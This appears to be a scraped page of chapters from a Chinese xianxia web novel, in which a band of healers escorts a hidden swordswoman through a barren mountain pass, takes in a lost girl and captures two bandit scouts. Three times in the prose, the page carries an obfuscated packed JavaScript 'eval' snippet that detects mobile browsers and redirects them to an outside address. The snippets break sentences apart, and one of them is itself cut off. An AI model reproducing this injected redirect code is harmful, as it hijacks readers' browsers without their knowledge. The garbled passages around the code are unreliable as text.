原来除了自己以外,下界还有不少其他修士。这样想着,曾卧雪朝他们二人拱手示意,那二人也朝他点头回礼。 他本就不是爱交际的性子,既然认错了纸鹤,见过礼便欲离开。走了两步,想到或许可以问问他们有没有见过师姐,但再转身去寻时,那二人已经不见了。 曾卧雪所遇的两人正是广丹和卜芥。 若是小南国一行人从城中招摇过市,难免遇到一些请求医治或是有人想要结交之类的事。而今扈陵情况紧急,车上又带了一个花沐雨,川连便让车队只顾赶路,遇到城镇就停在郊外,只进行必要的采买。 “刚刚遇到的那个小哥身量好挺拔啊。”进了街边的药材铺,广丹还揪着卜芥的袖子,对刚才惊鸿一瞥的曾卧雪念念不忘,“你看没看到,他长得怪好看的。” 卜芥将展开的单子递给柜台后的掌柜,神色无奈之中又带了点隐约的不快:“喜欢就上去搭个话,问问到底是哪门哪派的,日后也好联络。” 提到这个,广丹就泄了气:“算了算了,看看就得了。” 广丹一贯如此,卜芥早就习惯了。 蓝关外,车队在原地休整。 凌虚界剑修、法修、医修等门派林立,修士之间纵然不属同门,也多按辈分相称。 接到皇榜的第二日一早,得知花沐雨苏醒,川连便主动前来探望。言谈中论及,川连按辈分该叫花沐雨的师父为师祖,花沐雨虽然年纪小,但实际算是川连的师叔。 花沐雨一直当川连是自己的前辈,没想到自己竟是这样的辈分,不由得有些不知所措。不过这也解了花沐雨的疑惑——她在凌虚界时,和小南国接触算多,但从未见过此一行中的川连、丹砂、南星等人。原来她此前按照师父吩咐来往的,都是上一辈的人,这些“小辈”她是无缘得见的,由此也不由得感慨一番小南国人丁兴旺。 会面中,丹砂在一旁将前夜与花沐雨所说的事情又提了一次。川连虽责备丹砂没大没小,但还是赞同丹砂将花沐雨留下的想法。丹砂再三以救命之恩为由,花沐雨终究还是留了下来。 “她不下来吹吹风、晒晒太阳吗?”南星一边折着要添到火里的柴火,一边低声问丹砂。 花沐雨情况特殊,他们平时都不提名字,只用这般代称。 “外面人多,她不爱下来。”丹砂打开药壶的盖子,扇开水汽,看了一眼药汤的成色,“还得再煎半盏茶的时间……得快点儿把她的精神头催起来。马上出了蓝关就是平堂山,若遇到什么事,正是要她这个保镖出手。” 南星失笑:“你老是这样,总觉得有人要害你。” “我也不知道你们为什么都把人间想得这么好。”丹砂道,“就算没有恶人,恶虫猛兽也不讲仁义呢。” 南星笑着摇头:“医生治病救人,走到哪里,都是受人尊敬和爱戴的。三界内的医者无不以我们小南国为尊,你经历得多了,也就知道了,凡人没你想得那么坏。”说着,拍了一下她的胳膊,“去吧,这里不用你,你去水萍那边找她们玩去吧。” “大家都忙着,我也没处去。”丹砂拢拢裙子,原想在南星旁边坐下,但是想了想,还是跑回了车上。 花沐雨正在车里帮忙搓药信子。 自打那日获救后,一直都是丹砂南星广丹和卜芥同车照看她。 卜芥基本都在帘外赶车,与花沐雨照面不多;丹砂便是她醒来见到的第一个人;广丹比丹砂大了几个月,个子不高,脸蛋和眼睛都圆溜溜的,是个很可爱的小胖姑娘,日常除了吃就是缠着大家讲话;南星年纪比花沐雨大些,此前她便一直负责照看丹砂和广丹两个小姑娘。 药信子需要的量很大,一路上她们几乎都在做这件事。广丹搓得心浮气躁,手指通红,叫苦不迭。倒是花沐雨慢条斯理,爱上了拿它打发时间。 即使在车里,花沐雨也戴着帏帽。 “难得能下去透透气,怎么回来了?”见丹砂上车,花沐雨问。 “大家都在忙着。”丹砂转而道,“广丹去给你买药了,是我开的方子。” “哦……”花沐雨不太明白她提起此事的用意,“出什么问题了吗?” “没什么问题。”丹砂道,“你的方子都是我开的,病也是我主治的,师叔都瞧不出问题来;我说让你护送我们去扈陵,你现在也在这儿了。你倒是说说,我说话管不管用?” 花沐雨失笑,原来是为了这件事。这小姑娘年纪不大,好胜心不小。 “管用,丹砂姑娘说话自然是管用的。”花沐雨温声告饶,“是我有眼不识泰山,小瞧我们丹砂姑娘了。” 丹砂哼了一声:“虽然我年纪小,但只要我说得在理,大家自然都会听我的。我可是天才。” 花沐雨一笑,低着头捻药,柔声应和着:“是啊,我们丹砂可是天才呢。” 丹砂多看了她几眼,而后坐近了些,跟她一起拿起药草,问道:“怎么忽然不开心?” “嗯?”花沐雨抬起头来,语气中有些迷茫,帽纱下的表情是一片纯然的无辜,“我没有不开心啊?” 丹砂撇嘴:“看你的神情,总有些落寞似的。” “落寞?”花沐雨惊讶地笑道,“这又是从哪里学来的词?” 丹砂不满:“你又否定我。我看人很准的,你不要岔开话题。” “你看人很准吗?”花沐雨笑道,“是怎么看出来的?” 城内,曾卧雪找到一家临街的客栈。 伙计带他去看房间,他顺便问伙计:“小二哥,来往行人中,你可曾见过一个和我差不多打扮的姑娘?她和我差不多高,常戴一顶雪纱帏帽。” 伙计仔细回忆了一番:“没见过。这么出挑的姑娘可少有,要是遇到过,我一定有印象。” “多谢小二哥。”曾卧雪额外掏出几粒碎银,“还请小二哥多帮我留意,若真找到,我另有重谢。” “您客气了。您有需要,我自当留意。”小二并未收钱,一边在前面领路,一边道,“您可有去城关问过?凡是从关外来的或是要出关的人都要从那儿过,不过最近周边疫症严重……到了,就是这间。” 伙计推开房门,侧身让曾卧雪进去。 房间临街,阳光从特意打开通风的窗户中落进来,曾卧雪走到窗边看了一眼,蓝关城的主街尽在脚下。 “这间房阳光好,又干净,视野也不错。”伙计给他介绍,“沿着这条街一直往东走,就是蓝关隘口。九宝街有来往商人聚集,也是个消息流通的好地方,你若寻人,也可以去问问。” “多谢小二哥,就这间吧。”曾卧雪取出房费。 伙计收了钱:“好嘞。客官您先歇着,若有需要再叫我即可。” 伙计关门退下,曾卧雪解下背后的包袱,随手放在桌子上,提起茶壶倒了杯水,端着茶杯再次回到窗边。窗外对着街边告示栏,栏中正张贴着那道册立皇太女的皇榜。 官兵检查着通关文牒,头也不抬地问:“车上是什么?” “除去我们的人,就是一些药材。”石耳规规矩矩地答道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294784|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们择官道绕城而过,直接来到关口。 官兵将通关文牒一合,说:“打开我看看。” 旁边的人将车上的苫布解开一角,取下一个药匣,在官兵面前打开。官兵俯下身闻了闻,确实是一阵清凉的药香。 “这是什么药啊?”官兵问。 “这是薄荷脑。”石耳道,“药效疏风,清热,解毒,我们此去扈陵救灾,备的多是这一类的药。” 官兵佯做细看,把那一盒薄荷脑拿在手里,问道:“还有什么?” “还有藿香、连翘等等。”石耳道,“只是数目众多,拆解起来颇为麻烦。” “哦。”官兵背着手,晃荡着,将车队前后看了看,“都有什么人啊。” 石耳答道:“都是我们同门。” “小南国的是吧。”官兵说道,“都下来我看看。” “路通,”石耳对旁边的路通说,“去叫大家都下车过来。” “是。” “我也要下去吗?”花沐雨问。 “说是都要下去。”南星道。 “我怕是不行。”花沐雨思忖着,“我先藏在车上,你们的通关文牒上没有我的名字,官兵若问,就说人都在即可。” 南星点头,叫她不要作声,而后带着广丹和丹砂下了车。 官兵一辆接一辆地核对人数,到她们这辆,广丹紧张得不敢抬头。 官兵看了她们几个一眼,问:“车上没别人了?” “没别人了。”南星道,“车上就我们三个,还有一个男弟子,是平日驾车的。” “你叫什么?”官兵问。 “南星。” 官兵拿出一个小画轴,对了一眼她的长相,又问:“你们几个呢?” 丹砂、广丹和卜芥分别作答,官兵核对过通关文牒,又将画轴展开看了几次。 阳光照在画轴上,将画上的人透在了背面。丹砂正站在他们二人底下,抬眼一瞟,又飞快收回了视线。 官兵在册子上记了几笔,又道:“把帘子掀开我看看。” 南星回身,慢慢将车帘撩开。官兵探头一看,车内空荡荡的。 “您可看好了?”南星问。 “嗯。”官兵收回视线。 南星放下车帘,趁他记录,问道:“我们这是查完了吧?” “嗯。”官兵例行公事地提醒着,“现在只许出不许进啊,你们要是出去了,可就回不来了。” 南星颔首:“我等明白。” 官兵也不十分拦他们,取出印章在通关文牒上一敲,道:“嗯,行了,走吧。” 整个车队全部查完,隘口缓缓打开。 众人回到车上,丹砂一眼就看到花沐雨躲在里面的车座下。她和官兵在同一侧,又有座帘挡着,当时才未被发现。此时外面的官兵还没走,丹砂不动声色地展开裙子落座,南星和广丹也察觉了,三人分散落座,将车座下的花沐雨挡得严严实实。 车辆重新咕噜噜地走起来,几十辆车缓慢通过了关口,整队向关外走去。 走出去许久,南星掀开窗帘往后看去,蓝关城已成了遥遥一点。 “快出来。”南星赶紧拉着丹砂和广丹坐到另一侧,将花沐雨从车座下扶出来。 “吓死我了。”广丹埋怨着,“那个官兵好凶啊。” 南星将帕子递给花沐雨,让她掸掸身上的灰。丹砂道:“你们还记不记得,当时查我们的那个官兵手上有一幅画像。” 南星回忆了一下:“有点印象。” “我都没敢抬头。”广丹没注意到,问,“那个画像怎么了?” 丹砂看了看花沐雨:“当时他在我面前打开,我瞟到了一眼,上面画的人好像是花姐姐。” 她们年龄相近,如此浑叫也习惯了。南星未作纠正,只惊讶地问:“这是为何?他们要找你吗?” 南星三人都看向花沐雨,花沐雨掸干净灰尘,自顾自地道:“可能是暗中通缉吧。” “他们知道你没死?”丹砂问道。 花沐雨一笑,将帏帽整理好:“或许吧。” 5. 风满坡 平堂山属姬瑶山余脉。虽是余脉,但山势中巍峨不减。 此行前几天暴雨如注,好不容易雨停了,接连几天天气又都闷热无比。此时太阳照不进来,广丹便将马车的帘子都卷起,期待车马行走中能带进来一丝凉风,但收效甚微。 透过车窗望出去,天地交界处翻滚的热气扭曲着大地。 “这般暑热,可如何是好。”望着窗外明晃晃的太阳,南星摇着扇,眉间难掩愁色。 广丹热得难受,问前面的卜芥:“我们还要这样走多久?” “再往前走一走就进山了,进山之后应该会凉快不少。”卜芥大半个身子都落在阳光里,整个人晒得黝黑,“坚持一下,翻过这座山,再往南走几十里地我们就到扈陵了。” 此时道路已经有了几分山路的起伏。他们车队里有很多运药材的马车,为方便通过,选择从山峰和缓处绕行,路程稍微远一些,但相对好走。 丹砂从车窗看出去,路边都是嶙峋的怪石,光秃秃的,一棵草都没有。又往更远处一看,巍峨的群山连绵高耸,却看不见一丝绿意。此情此景和她之前所常见的大不一样,不由得纳罕:“这边的山上怎么什么都不长?” “是好奇怪,”广丹嘴里含着甘草糖,也探头去看,“山不都是绿色的吗?” “也就是这几年的事。”花沐雨戴着帏帽,透过垂下的雪纱看着窗外摇晃的山景,“我小时候这片山还不是这个样子。那时山上草木丰茂,是夏日避暑的好去处。后来有一年冬天,天上还下着雪,山上却燃起了怎么都扑不灭的山火。那场火连烧了好几个月,把山上的东西都烧光了才熄灭。自那以后,这片山上就再也没有长出来过草木。之前山里飞禽走兽无数,那之后也绝迹了。” “山火已经过去这么多年,竟还长不出草木吗?”听到她这样说,坐在车架前的卜芥也忍不住加入了进来。 花沐雨摇摇头:“好多年了,寸草不生。” 卜芥不信:“连只兔子都没有?” “没有。”花沐雨道,“山上的溪流都干涸了,就连飞鸟也不在此停留。” “真是怪事。”卜芥说,“即便有过山火,过后也总该有种子再萌发。没了树木,鸟兽会少,但穴居打洞的兔子田鼠总该也要慢慢回来一些的。怎么这座山这么多年仍是焦土,寸草不生,生灵绝迹呢?” 说话间,车队驶过狭窄的山隘,正式进入了山区。 前面的马车停住了,赶车的路通跳下马车,往后走来。 卜芥将马勒住,路通边走边跟他说:“马不行了。正午阳光太毒,我们先找个阴凉的地方休息一会儿,也让马匹歇一歇,再走下去马都要中暑了。” 一辆一辆车通传下去,进山后的车队又走了一程,在一个宽敞的地方停下了。 车上的人都下了马车到外面透气,好叫负责赶车的几个人将马解下来,带到一边去喂食饮水。 此处紧邻开辟山路时凿开的一道山体,高耸的峭壁挡住了阳光,众人身上带着汗,山风顺着狭窄的山道吹进来,一时凉爽不已。 广丹贪凉,对着风吹来的方向撑开袖口,让山风灌满了衣袖。花沐雨站在她旁边,还戴着帏帽。广丹看得费解:“你不热吗?” 花沐雨看着风来的方向,似是在走神,一时忽略了广丹的问话。过了会儿,她才回过头来,将眼前的雪纱掀开了一些,问道:“你刚刚有跟我说话吗?” 她帽子上的雪纱在风中鼓动,广丹看着她,一时有些呆了。 清冽的山风穿过帏帽和雪纱,帽檐下,是一对纤长的剑眉。眉下目若清泉,发丝随风飘摇,那双眼瞳透过发丝与雪纱若隐若现地朝广丹看过来,目光中带着温和的问询——在炎炎夏日中,她仿佛冬雪一样凛冽而苍白。 广丹情不自禁脱口而出:“你真好看……” 花沐雨不解地一抬眉,没明白她在说什么。 “不是说你之前不好看的意思。”广丹连连摆手,试图解释。 其实平心而论,花沐雨并不是什么绝色,往日又总遮着脸,比起样貌,留在旁人印象里的,更多的是她疏离的气质。 但广丹不能这样说,她磕磕巴巴地强调着,试图给花沐雨描述:“就是你刚刚那样回过头来看我的时候,特别特别好看。你微微侧脸的时候,从额头到下巴的线条,还有你白白净净的,一点汗都不出,头发也清清爽爽的……” 花沐雨无奈一笑:“你也很好看啊。”她温柔地看着广丹,“我特别喜欢你的眼睛,又大又亮,笑起来弯弯的,特别漂亮 。” 广丹不好意思地笑了,低头搔了搔脸颊。卜芥喂完马,见她们在这儿,就走了过来:“在说什么?” 总算逮住一个可供倾诉的人,广丹一把拉住卜芥的胳膊,拽得卜芥身子都朝她歪了歪。 “你说,花姐姐是不是特别好看!”广丹小声尖叫。 “啊?”卜芥丈二和尚摸不着头脑,“怎么了?” 花沐雨笑着摇头,放着他们说话,自己走到一旁去了。 正在休息的川连见花沐雨落单,便走过来攀谈:“广丹性子跳脱,还望您不要介意。” 与小南国的众人同行日久,除去那日见过一面,这还是花沐雨第一次和川连单独说上话。 “川连先生。”花沐雨抱拳施礼。虽说辈份上是川连的长辈,但年纪在此,她从未以长辈自居。 川连忙将她虚虚扶起:“小师叔,您是长辈,这可是折煞老夫了。” 花沐雨恭敬地说:“我不过是徒占了一个辈分而已,先生年长,我敬先生是前辈,倒也不冲突。” 川连心中熨帖,再谦让一回,又说:“您近日感觉如何?” “感觉能恢复的都已恢复得差不多。”花沐雨道,“此间没有灵气,剩余未恢复的那些,也是没有办法了。” 川连点头:“我看丹砂的脉案,您灵脉与筋骨都已恢复,基本无甚隐患。丹砂虽然入门时间不长,但天资卓绝,有时连老夫都甘拜下风,如有不适,您尽可信她。” “嗯,”花沐雨含笑垂头,“丹砂是个很好的孩子。” 蓝关城中,曾卧雪短暂休息片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294785|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便启程去店小二所说的九宝街与隘口打探。九宝街上一无所获,隘口的小兵倒是给了一些消息。 “最近半个月?扈陵的瘟疫闹得那么凶,哪有什么人进出。”小兵好心提醒,“我在这儿连着当差这么久了,都没见你说的那个人。你也别想着出关去了,扈陵的瘟疫不是闹着玩的,若是你说的那个人来了,也要被这样劝回去。你要找人,不如去九宝街。那边的人南来北往,若那人真如你所说,想必一眼就能叫人过目不忘。” 曾卧雪听了官兵的话,一时倒有了些正相反的想法。师姐走得急,莫非正是为了扈陵的瘟疫?如果瘟疫凶悍,师姐疲于对付,以至于无法回信,岂不是说得通? 于是他给官兵递了银子,又问:“扈陵的瘟疫正是这半个月间起来的吗?” “可不止。”官兵收下银子,“从之前洪水过后,就有扈陵闹瘟疫的消息传出来。那已是近一个月之前了。紧接着没过多久,蓝关就封了,不让打南边来的人进来。” “洪水?”曾卧雪想起了长阳的那场大雨,“最近长阳这边雨也下得不小。” “北境这边都是小意思了。”官兵拄着矛,给曾卧雪比划,“之前那边可是倾盆大雨连着下了七天七夜,整个扈陵城都泡了汤了,人不知道冲走了多少。好不容易水退下去了,又开始闹瘟疫。唉,都是命啊。” 曾卧雪也不由得叹息:“那瘟疫是怎么回事?” “我也没见过。”官兵转身吐了口痰,回头擦了擦鼻子,继续道,“就说是治不好,神仙来了都不管用。” 曾卧雪在心中默默盘算,瘟疫的时间对不上,想来师姐不是为了瘟疫下界。既已知师姐出身北境,曾卧雪谢过了官兵,还是决定先在北境内找寻。 过了正午,太阳西倾,天气稍微没那么灼热,车队重新启程。 夏日的午后,马车摇摇晃晃,没多久,广丹就靠着南星睡实了。 丹砂向来不爱多动,上车后就一直闭着眼睛在南星的腿上躺着补觉。南星肩上靠着一个,腿上枕着一个,动弹不得,慢慢也靠在车厢上打起了瞌睡。 阳光透过车窗照进来,此时车队已经驶入了平堂山深处,前后人烟断绝,只有光秃秃的山脊。 南星猛地一垂头,从瞌睡中恢复了一些意识,手上原本停住的扇子又摇了起来。然而她困倦地合着眼睛,手上的扇子越摇越慢,不一会儿就顺着松开的手指掉到了腿上。枕在她腿上的丹砂被团扇落在脸上也没起,只咂了咂嘴翻了一个身。 花沐雨隔着帽纱看了半晌,捡过扇子,轻轻为睡做一团的三人扇起了风。 帘外传来卜芥的哈欠声,花沐雨一边打扇,一边看向窗外。 自从化生之后,她对寒暑的感知就弱了许多。另一方面,不知是不是缺少了灵气,她自觉五感远没有之前敏锐。那日夜间便是,她竟没有发现身后靠近的丹砂。又或许是修炼之后她的五感远胜常人,如今失去灵力,也不过是回归常人,只是她还不习惯。 这样漫无边际地思索着,花沐雨忽然觉得路边似乎有什么东西动了一下。 6. 路难过 是我眼花了么?花沐雨定睛去看,却再也没能捕捉到什么动静。马车即将驶过,花沐雨正要收回目光,就见路边的山石后面露出来半个脑袋。 这回是真真切切地看见了。还不等花沐雨反应过来,那人与花沐雨目光对视,哇地一声,哭着就朝车窗扑过来。 南星广丹都被吓醒了,卜芥也散了瞌睡,怕车轮碾到人,连忙勒停了马。 那是个身量尚小的孩童,还没车窗高,蓬头垢面的,衣服也滚得灰一块泥一块,原先在路边的乱石堆里缩成一团,也难怪花沐雨看不清。如今不知为何,努力够着车窗,呜呜哭得话都说不出。 车队的平静都被哭声打破,前后车辆也都停了下来。 “这是怎么了?”南星连忙下车,将那孩子搂进怀里哄道,“别哭别哭,怎么了孩子,你怎么一个人在这儿?” “救,救救我。”小孩一边抹着眼泪,一边哭得打嗝,“我好,我好饿。有人要杀我。” 从前后赶来的川连等人面面相觑。 广丹正趴在车窗上看热闹,闻言把自己的零嘴口袋从车窗里递了出来:“我这儿有吃的!” 南星赶紧接过来,往小孩嘴里塞了一颗甘草糖,又叫卜芥拿来水囊,打湿了帕子,给小孩擦拭手脸。 小孩含上糖,慢慢收了哭声。灰尘擦去,露出了底下白嫩的皮肤。她两个手掌都擦破了,南星小心地给她冲去伤口上的沙砾。 “你叫什么名字啊?怎么一个人在这里?你的家人呢?”南星耐心地问道。 “我叫茜君。”不开口说话还好,一开口说话,小孩又开始抽噎,“坏人把爹娘都杀了,我跑出来,他们追我,我躲到山上,他们没找到。”说到这里时,她已经又哭起来了,“我好饿,我没有吃的,没有水喝,他们还要杀我……” 石竹等人已从后面的车上取来了干粮。南星让小孩把糖嚼碎了咽下去,又将干粮掰碎,就着水,一块儿一块儿喂给她:“这儿有吃的,慢慢吃,别噎到。” 小孩用手接着,吃得狼吞虎咽。 之前花沐雨就跟着南星一起下了车,此时站在川连身边,心中略有疑惑。她虽然不管朝政,但对平堂山周边的情况也有所了解。平堂山荒无人烟,此前也从没听说过这附近有什么匪徒,怎么会忽然出现了这样的事。 她仔细打量四周,除了这个孩子再没有别人,于是蹲下来问那个孩子:“你家住哪里?几岁了?” “我八岁了。”小孩打了个嗝,眼睛一瞟,“我住在山脚下的村子里。” 花沐雨安慰地摸摸她的胳膊,又问:“坏人是到你们的村子里去了吗?” 小孩摇头:“我们那边生病了,爹娘带我们出来,在路上的时候遇到的坏人。” 花沐雨略一点头,站了起来。 南星愁眉不展:“这可如何是好。山区荒无人烟,这么小的孩子一个人在这儿不是办法。” 花沐雨拦下了南星还欲给小孩送干粮的手:“先别给了,饿久了一下子吃太多,小心不消化。” 石耳道:“若是平常也就罢了,我们这次是要去疫区。疫情凶险,大人都不一定扛得过,又怎么能带着这么小的孩子过去。” 石竹拍拍小孩的后背问:“你还有什么家人在吗?” “他们都死了。”小孩低着头,看南星给自己擦手,“只有我自己跑了出来。” “你多大?”石竹又问。 “我八岁了。”小孩答道。 南星给她擦完了手,轻声问她:“身上有没有哪里疼啊?” “膝盖疼,磕破了。”小孩小声说。 南星去看,果真膝盖处的布料残破,能隐约看到底下混合着鲜血和沙土的伤口。 众人等着川连发话,川连注意到花沐雨此前查探的动作,看了看花沐雨的脸色,见她面色凝重,一时举棋不定。 花沐雨犹在沉思,并未留意川连,直言道:“一则,我们肯定不能把这孩子就这么扔在这儿,这荒郊野岭,她吃什么?二则,若这孩子说的情况属实,她父母家人被何人所杀,还得上报朝廷查个明白。确实不好带这么小的孩子进入疫区,过了平堂山,到扈陵中间还有许多村寨,或许可以将她托付给当地的人家。” 花沐雨说的与川连所想不差,川连便接着她的话说道:“此前谷中曾就扈陵一事传信给姜国的皇帝,姜国的皇帝说为防动乱,已派遣了禁军守卫扈陵一带,若实在不行,我们也可将孩子交给姜国禁军。” 众人皆点头。 这时,睡醒没多久的丹砂从车窗边探出头来,指着小孩说道:“她说谎!她才不是住在村子里的人!村子里的人哪有那么白嫩的皮肤!” 小南国众人愣住。南星手中的帕子一停,这才觉出不对。 她久居凌虚界,并不十分熟悉人间,但也知凡人耕种劳作、风吹日晒。小孩的皮肤确实十分白嫩,不是日常劳作的人所能有的。 或许是感受到了气氛的古怪,小孩子一下子大哭起来:“我没有!你胡说,我没撒谎!”一边哭喊,一边挣扎着要冲丹砂扑过去,南星抱都抱不住。 “我没撒谎!你们不能不管我!”小孩哭闹道,“我会死的。你们不救我,我一定会死的!” 川连又下意识地看向花沐雨。 花沐雨轻叹一声,矮身从南星怀中接过孩子,哄道:“你家住哪里都不要紧,我们不会把你一个人留在山里的。” 到了花沐雨怀里,那孩子总算不再挣扎,把头埋在花沐雨肩上大哭:“她胡说!我没撒谎!” 丹砂哪肯忍气,扶着车窗呛声道:“我没胡说!你就是撒谎了!” 眼见两个孩子要吵起来,茜君的情绪越来越失控,花沐雨赶紧将两个孩子分开。花沐雨和南星带着陌生的小孩去后面的车上清洗换衣服,车队也重新上路,好在天黑前赶到能夜宿的地点。 卜芥坐在车前,念叨道:“出一趟门,这是犯了什么捡人的命啊。“ 后面的车上,南星给茜君擦洗干净,换上了小南国门内弟子的衣服。 洗漱干净的香君白白净净,除去身上的伤痕和红肿的眼眶鼻尖,丝毫看不出此前叫花子似的模样。 南星给她处理伤口,花沐雨坐在她身后给她整理头发。 茜君低着头,气鼓鼓地还在念叨:“我真没撒谎。我就住在山脚下的村子里,父母带着我出门躲灾,结果路上就遇到了强盗。强盗拿刀杀人,我娘推着我跑了出来。我本来不敢跑远,就藏在草丛里。那些强盗杀光了人,四处找还有没有别的活口。我怕被发现,就赶忙往远处跑,一来二去跑到了山里。” 花沐雨并没有在这个时候和她分辨她是否说了假话,只是安慰地说:“没关系,现在你跟我们在一块儿呢。”说完,又问,“那些强盗发现你跑出来了吗?” “我不知道。”茜君说,“但我总感觉有人在追我,还会盯着我看。” “他们没追上你吗?”花沐雨问。 “我把眼睛闭上,他们就看不到我了。” 茜君认真地说。 花沐雨不会梳她此前那种精巧的发型,只能将头发理顺了,左右各扎一个花苞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没有证据,你不能笃定她撒谎。”花沐雨道,“即便她真的撒谎了,或许是有什么不便透露的隐情,或许是为了增加自己获救的几率。你能发现别人都没发现的疑点,你很聪明;直言不讳,这也是很好的……” 天色彻底暗了下来,弟子们在营地中间升起篝火。花沐雨垂着眼,跳动的火光透过帽纱和眼睫,映在她的眼底。 花沐雨最后说:“她或许真的撒了谎,或许没有。她不是坏人,你做得也没有错……” 只是太苛刻了。 茜君只是那样狼狈地想要活下去,你却在她最想表现好、获得别人同情的时候揭穿她。既然你也觉得她不是坏人,又何须如此不留情面呢。 但花沐雨将话停在了这里,丹砂有她为人处世的方式,她不想用自己的想法去“矫正”她。 “但是你肯定发现了吧。”丹砂并不关心花沐雨是否有未竟之意。她太年轻,觉得自己可以洞穿一切真相,所以好奇一切谜题,“别人不知道,是因为他们没在寻常人间生活过。但你肯定知道。你为什么没说?” 花沐雨无奈一笑:“怎么又开始审我,不要再审我了……你又是怎么一下子就看出来的呢?” “你不告诉我,我也不告诉你。”丹砂语气中平铺直叙,“你也是,总不爱说实话。” 花沐雨只是笑:“那么,如果日后你看出来我言不由衷,可以不要当面揭穿我吗?” 丹砂困惑地看着她,没有再追问了。 7. 俯首造化却一衍 几辆马车围成半个圈,略略挡住夜间呼啸的山风。弟子们在中间的空地上撑起简单的行帐,升起篝火,准备晚饭。 众人忙忙碌碌,未曾留意一旁的山坡上潜过来两个生人。 这二人身着土色麻袍,用粗布蒙着头脸,只露出一双眼睛,借着山地的起伏和石土的遮掩匍匐到高处,将小南国的营地一览无余。 目视过车队的规模,其中一人对另一人比了个手势:“二十七辆车,是条大鱼。” “找到小杂种了么?”另一人小声说。 那人仔细观察:“那边的女的抱着一个,看不清脸,不知道是不是。” 另一人道:“痕迹断在山路上,沿着山路找过来,就只有他们,那个小杂种肯定在这。” “这小杂种倒是给我们钓到一条大鱼。”那人道。 “名录上没有这一伙儿人,他们好像不是城里出来的。”另一人说。 “管他哪里来了,既然看到了,岂有放过的道理。”那人道,“数清楚人头,回去赶紧准备才是正事。” 出门在外,条件有限,广丹本就吃得不太开心,再加上南星本来一直是和她们一起吃饭的,但是茜君不肯和丹砂一起,南星就去水萍那边陪茜君一起吃饭,广丹便更不开心了。 花沐雨没什么胃口,拿了少少一点食物,全是为了若一点儿不吃会惹南星唠叨。 她一边摆弄着剩下的两口干粮,一边注意着川连那边用餐的进度,见川连那边起身了,便去找川连。 “川连先生。”花沐雨施了一礼。 川连示意石竹等人先行离开,与花沐雨走到人少处,还礼道:“小师叔所为何事?” 花沐雨道:“今日茜君说了匪徒之事,可见关外并不太平。我们一行人树大招风,虽是修士,但人间界无法补充灵气,还是有必要格外小心一些。” “确是如此。”川连说道,“您心中可有想法?” “我不比您了解小南国弟子,还需请您定夺。”花沐雨道,“素闻小南国灵枢针法绝妙,还需请先生挑出针法较好的弟子,与战力较弱的弟子混编。诸位弟子不要落单,不要去僻静处,大家互相照应,夜里也需安排人来守夜。” “小师叔说得在理。”川连点头道,“我这便着人去安排。” 花沐雨又道:“平堂山上并无草木,贼人不便藏身,但四周居高临下,也方便埋伏……”说着,花沐雨朝四面山上看了看,本意是想告诉川连自己夜里将去某一高处看护车队,不曾想一抬眼,扫到远处山坡上两个鬼鬼祟祟的身影。 ——按理说有山石遮挡,衣服颜色相近,天色也暗,以花沐雨如今的眼力本不该发现。但坏就坏在其中一人动了一动,正巧叫花沐雨一眼看到了。 花沐雨最怕麻烦,谁料麻烦事一件接一件自己找上来。花沐雨一叹,为川连指道:“那边便有两个,先生请看。” 川连顺着花沐雨手指的方向看去,什么都没有找到:“在哪里?” “就在那两块石头后面,有两个前来观察情况的贼人,现在应该打算要跑了。”花沐雨道,“想来应该是追着茜君的踪迹,或是本就在山中活动,发现了我们一行人。” 川连一惊:“他们已经来了?!” “无妨。”花沐雨轻轻挥手,手指间银光飘散,山坡上凭空落下十几只银枪,在地上钉成一个牢笼,将察觉被发现正要悄悄离开的二人困在当场。 营地中的弟子被声音吸引了注意,纷纷朝山坡上看去。略解释了一番,花沐雨带着卜芥和几个弟子,上山去将人捆了下来。 人既已捉住,自然不可能再放走,任他们逍遥法外或回去报信。卜芥尝试审问,但他二人被捉住后便一言不发,多余的信息一句问不出来,于是众人商议过后,将这两名贼人五花大绑,封住周身大穴,暂时扣押在车队中。 花沐雨之前不怎么常在众人面前露面,小南国一行中跟她熟一些的也只有同车的广丹、丹砂、南星和卜芥。其余众人零星见过她几次,印象里只有她模糊而冷淡的眉眼和郁郁的神色,对她多是陌生中掺杂好奇。 今日经此一遭,这陌生和好奇中更多了几分敬佩和畏惧,倒是让花沐雨在众人眼中愈发有距离感起来。 草草收拾停当,川连和众人在篝火边商量着守夜。花沐雨远远地坐在篝火照不到的马车旁,并没有参与他们的讨论。过了会儿,讨论出了结果,众人起身散了。川连看到孤零零的花沐雨,又走了过来。 “多谢您今日出手相救。”川连道。 “应该的。”花沐雨说,“今后我会守夜。” “身体可还无碍?”川连朝花沐雨伸出手,“我原以为您失去灵力,没想到您竟还能如此对敌。” 花沐雨伸出手去,任川连为她搭上巾帕。 “人间界灵气枯竭,你苏醒后内府空空,一直没有灵气补充……”探完右手,川连将帕子抽走,“换只手。” 